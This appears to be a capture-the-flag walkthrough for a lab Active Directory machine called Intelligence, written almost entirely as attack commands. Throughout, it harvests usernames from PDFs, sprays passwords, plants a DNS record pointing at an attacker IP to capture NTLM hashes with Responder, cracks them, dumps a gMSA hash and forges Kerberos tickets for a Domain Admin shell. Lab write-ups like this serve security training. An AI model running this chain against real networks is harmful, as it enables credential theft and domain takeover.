Intelligence

Register domain and DC hostname for local resolution.

$ echo "$TARGET intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hosts

Bulk-download every published PDF; adjust end date if the scheme extends beyond 2021.

$ mkdir -p /tmp/intel_pdfs && python3 - <<'PY'
import requests, datetime
base = 'http://intelligence.htb/documents/'
d = datetime.date(2020, 1, 1); end = datetime.date(2021, 12, 31)
while d <= end:
    url = base + d.strftime('%Y-%m-%d') + '-upload.pdf'
    r = requests.get(url, timeout=10)
    if r.status_code == 200:
        open(f'/tmp/intel_pdfs/{d}.pdf', 'wb').write(r.content)
        print(d, len(r.content))
    d += datetime.timedelta(days=1)
PY

Extract unique Creator values; should yield ~130 lines.

$ for f in /tmp/intel_pdfs/*.pdf; do exiftool -Creator "$f" 2>/dev/null; done | awk -F': ' '{print $2}' | sort -u | grep -v '^$' > /tmp/users.txt && wc -l /tmp/users.txt

Scan all PDF text for credential hints; look for the default-password announcement.

$ for f in /tmp/intel_pdfs/*.pdf; do pdftotext "$f" - 2>/dev/null; done | grep -i 'password\|default\|new.*user'

Single-password spray; --continue-on-success surfaces every valid account, not just the first.

$ nxc smb $TARGET -d intelligence.htb -u /tmp/users.txt -p "$PASSWORD" --continue-on-success 2>&1 | grep '\[+\]'

Retrieve user flag; value is <user.txt>.

$ smbclient "//$TARGET/Users" -U "intelligence.htb/Tiffany.Molina%$PASSWORD" -c 'get Tiffany.Molina/Desktop/user.txt /tmp/user.txt' >/dev/null && cat /tmp/user.txt

Download and read the script to confirm -UseDefaultCredentials and the 'web*' hostname pattern.

$ smbclient "//$TARGET/IT" -U "intelligence.htb/Tiffany.Molina%$PASSWORD" -c 'get downdetector.ps1 /tmp/downdetector.ps1' >/dev/null && cat /tmp/downdetector.ps1

Add the malicious A record; replace $ATTACKER_IP with your current tun0 address.

$ python3 /opt/krbrelayx/dnstool.py -u 'intelligence\Tiffany.Molina' -p "$PASSWORD" -dc-ip $TARGET -a add -r web1 -d $ATTACKER_IP -t A dc.intelligence.htb

Verify the record resolves before starting Responder.

$ dig +tcp @$TARGET web1.intelligence.htb A +short

Run Responder in the foreground; wait up to 5 minutes for the scheduled task to fire.

$ sudo responder -I tun0 -dwv

Crack the captured hash; adjust the filename to match what Responder wrote — check /usr/share/responder/logs/.

$ john --wordlist=/usr/share/wordlists/rockyou.txt /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txt

Confirm the cracked password authenticates before proceeding.

$ nxc smb $TARGET -u Ted.Graves -p "$PASSWORD2" -d intelligence.htb

Collect all domain objects; import the zip into the BloodHound UI and search for shortest paths to Domain Admins from Ted.Graves.

$ bloodhound-python -c All -u Ted.Graves -p "$PASSWORD2" -d intelligence.htb -ns $TARGET --zip

Synchronise clock to the DC — Kerberos rejects tickets with more than 5 minutes of clock skew.

$ sudo ntpdate $TARGET

Dumps svc_int$ NT hash from the msDS-ManagedPassword LDAP attribute. Record the hash in :NTHASH format.

$ python3 /opt/gMSADumper/gMSADumper.py -u Ted.Graves -p "$PASSWORD2" -d intelligence.htb -l $TARGET

S4U2Self + S4U2Proxy; replace <svc_int_nthash> with the dumped hash. Produces Administrator.ccache in the current directory.

$ impacket-getST -spn 'WWW/dc.intelligence.htb' -impersonate Administrator -hashes ':<svc_int_nthash>' 'intelligence.htb/svc_int$'

Interactive Domain Admin shell using the forged ticket.

$ KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass dc.intelligence.htb

Read the root flag directly; value is <root.txt>.

$ KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass dc.intelligence.htb 'type C:\Users\Administrator\Desktop\root.txt'